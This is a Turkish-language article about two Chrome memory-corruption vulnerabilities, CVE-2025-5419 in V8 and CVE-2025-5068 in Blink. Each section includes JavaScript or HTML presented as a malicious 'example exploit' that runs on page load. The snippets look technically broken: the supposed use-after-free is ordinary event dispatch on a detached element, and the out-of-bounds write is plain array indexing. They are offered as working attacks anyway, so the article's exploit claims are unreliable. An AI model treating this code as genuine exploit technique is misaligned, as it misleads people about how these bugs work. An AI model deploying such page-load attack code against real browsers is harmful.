Chrome'da Heap Bozulmasına Yol Açan Güvenlik Açıkları
Giriş
Google Chrome, dünyada en yaygın kullanılan web tarayıcılarından biri olduğu için siber saldırganlar ve güvenlik araştırmacıları tarafından sıkça hedef alınıyor. Yakın zamanda açıklanan iki güvenlik açığı—CVE-2025-5419 (V8'de Sınır Dışı Okuma/Yazma) ve CVE-2025-5068 (Blink'ta Use-After-Free)—hafıza bozulmasına yol açarak saldırganların özel olarak hazırlanmış HTML sayfaları aracılığıyla rastgele kod çalıştırmasına olanak tanıyabiliyor. Bu makalede, bu zafiyetlerin teknik detayları, örnek saldırı senaryoları ve korunma yöntemleri ele alınacaktır.
1. CVE-2025-5419: V8 Motorunda Sınır Dışı Okuma/Yazma
Genel Bakış
- CVE Kimliği: CVE-2025-5419
- Etkilenen Sürümler: 137.0.7151.68 öncesi Google Chrome
- Önem Derecesi: Yüksek (Chromium Güvenlik Seviyesi)
- Yayınlanma Tarihi: 2 Haziran 2025
- Zafiyet Türü: V8 JavaScript Motorunda Sınır Dışı (OOB) Okuma/Yazma
Teknik Analiz
V8 motoru, Chrome'un JavaScript kodunu çalıştıran bileşenidir. Sınır dışı (OOB) okuma/yazma hatası, bir programın ayrılmış bellek alanının dışına erişmeye çalışmasıyla oluşur. Bu durumda, özel olarak hazırlanmış bir HTML sayfası, V8'de hatalı bellek erişimine yol açarak heap bozulmasına ve potansiyel olarak uzaktan kod çalıştırmaya (RCE) neden olabilir.
Kök Neden
- V8'de dizi veya tip dizi işlemlerinde yetersiz sınır kontrolü.
- Saldırgan, JavaScript nesnelerini manipüle ederek bellek sınırları dışına erişebilir.
- Bu durum rastgele kod çalıştırma veya tarayıcı çökmesine (DoS) yol açabilir.
Örnek Exploit Senaryosu
Aşağıdaki kötü amaçlı JavaScript, bir web sitesinde çalıştırılarak OOB zaafiyetini tetikleyebilir:
// V8'de sınır dışı erişimi tetikleme
function triggerOOB() {
let arr = new Array(10).fill(0x41); // Bir dizi oluştur
let evil = {
[Symbol.toPrimitive]() {
arr.length = 0; // Dizi boyutunu değiştirerek V8 sınır kontrolünü atlat
return 0xdeadbeef;
}
};
// Sınır dışı yazma işlemi
arr[evil] = 0x42424242; // Bellek bozulmasına neden olur
}
// Sayfa yüklendiğinde exploit çalıştır
window.onload = triggerOOB;
Etkisi
- Saldırgan, hassas bellek bilgilerini okuyabilir (OOB Read) veya kritik bellek adreslerini değiştirebilir (OOB Write).
- Başarılı bir exploit, Chrome'un sandbox (korumalı alan) içinde kod çalıştırmaya izin verebilir, ancak sandbox'tan çıkmak için ek zafiyetler gerekir.
2. CVE-2025-5068: Blink Motorunda Use-After-Free
Genel Bakış
- CVE Kimliği: CVE-2025-5068
- Etkilenen Sürümler: 137.0.7151.68 öncesi Google Chrome
- Önem Derecesi: Orta (Chromium Güvenlik Seviyesi)
- Yayınlanma Tarihi: 2 Haziran 2025
- Zafiyet Türü: Blink Render Motorunda Use-After-Free (UAF)
Teknik Analiz
Blink motoru, Chrome'un DOM işlemlerini yönetir. Use-After-Free (UAF) hatası, bir programın serbest bırakılmış belleği kullanmaya devam etmesiyle oluşur. Özel olarak hazırlanmış bir HTML sayfası, DOM elemanlarını manipüle ederek UAF tetikleyebilir ve heap bozulmasına yol açabilir.
Kök Neden
- DOM nesnelerinin silinmesi veya olay işleme sırasında bellek temizleme hataları.
- Saldırgan, serbest bırakılmış belleği kontrol edilen verilerle doldurabilir ve kod çalıştırabilir.
Örnek Exploit Senaryosu
<!-- Blink'ta UAF tetikleyen kötü amaçlı HTML -->
<script>
function triggerUAF() {
let element = document.createElement('div');
document.body.appendChild(element);
// Bir olay dinleyici ekle
element.addEventListener('click', function() {
console.log("Bu bellek serbest bırakıldı, ancak hala referans veriliyor!");
});
// Elemanı kaldır, ancak olay referansını tut
document.body.removeChild(element);
// Use-After-Free tetikle
setTimeout(() => {
element.dispatchEvent(new Event('click')); // Use-After-Free burada oluşur
}, 1000);
}
// Sayfa yüklendiğinde çalıştır
window.onload = triggerUAF;
</script>
Etkisi
- Saldırgan, tarayıcıyı çökertebilir (DoS) veya kötü amaçlı kod çalıştırabilir.
- Diğer exploitlerle birleştirilirse, tam tarayıcı ele geçirme mümkün olabilir.
Önlemler ve Yama Durumu
Her iki güvenlik açığı da Chrome 137.0.7151.68 sürümünde düzeltildi. Kullanıcılar şunları yapmalı:
- Chrome'u hemen güncelleyin (
chrome://settings/help
adresinden kontrol edin). - Site İzolasyonu'nu etkinleştirin (
chrome://flags/#enable-site-per-process
). - Güvenilmeyen sitelerde JavaScript'i devre dışı bırakın (mümkünse).
Sonuç
- CVE-2025-5419 (V8'de OOB) ve CVE-2025-5068 (Blink'ta UAF), ciddi bellek bozulması zafiyetleridir.
- Saldırganlar, özel HTML/JS dosyaları ile tarayıcıyı hedef alarak RCE veya çökmelere neden olabilir.
- Kullanıcılar, korunmak için Chrome'u en son sürüme güncellemelidir.
Bu zafiyetler, tarayıcılarda bellek güvenliğinin önemini ve Chrome'un sürekli olarak güçlendirilmesi gerektiğini gösteriyor.